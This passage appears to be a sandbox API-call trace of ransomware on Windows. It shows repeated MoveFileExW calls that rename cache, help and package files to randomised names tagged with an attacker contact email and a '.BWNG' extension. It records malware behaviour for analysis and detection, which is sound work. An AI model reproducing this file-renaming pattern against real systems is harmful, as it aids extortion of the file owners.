cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0121.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0121.903] GetTickCount () returned 0x1166105 [0121.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26385572239) returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0121.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0121.904] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].36cMHyCJ-7PbWQjsd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].36cmhycj-7pbwqjsd.bwng"), dwFlags=0x1) returned 1 [0121.905] GetTickCount () returned 0x1166105 [0121.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26385724008) returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0121.905] GetTickCount () returned 0x1166105 [0121.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26385757676) returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0121.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0121.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0121.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0121.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0121.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0121.906] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].Iz9OYR6x-oMGSqxgz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].iz9oyr6x-omgsqxgz.bwng"), dwFlags=0x1) returned 1 [0121.907] GetTickCount () returned 0x1166105 [0121.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26385926151) returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0121.907] GetTickCount () returned 0x1166105 [0121.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26385957564) returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0121.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0121.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0121.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0121.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0121.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0121.908] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].9EFKhjNj-Eq557x8n.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].9efkhjnj-eq557x8n.bwng"), dwFlags=0x1) returned 1 [0121.909] GetTickCount () returned 0x1166105 [0121.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26386134314) returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0121.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0121.909] GetTickCount () returned 0x1166105 [0121.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26386167643) returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0121.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0121.910] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].iT5JbCKR-JwOSHz1e.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].it5jbckr-jwoshz1e.bwng"), dwFlags=0x1) returned 1 [0121.912] GetTickCount () returned 0x1166105 [0121.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26386421679) returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0121.912] GetTickCount () returned 0x1166105 [0121.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26386453936) returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0121.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0121.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0121.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0121.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0121.913] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].l9F9rY0X-7VWlZV18.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].l9f9ry0x-7vwlzv18.bwng"), dwFlags=0x1) returned 1 [0121.914] GetTickCount () returned 0x1166105 [0121.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26386634371) returned 1 [0121.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0121.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0121.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0121.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0121.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0121.915] GetTickCount () returned 0x1166114 [0121.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26386685488) returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0121.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0121.915] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].0nbT53iJ-KFhxaDxF.BWNG" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\[billwong73@yahoo.com].0nbt53ij-kfhxadxf.bwng"), dwFlags=0x1) returned 1 [0121.917] GetTickCount () returned 0x1166114 [0121.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26386910049) returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0121.917] GetTickCount () returned 0x1166114 [0121.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26386942376) returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 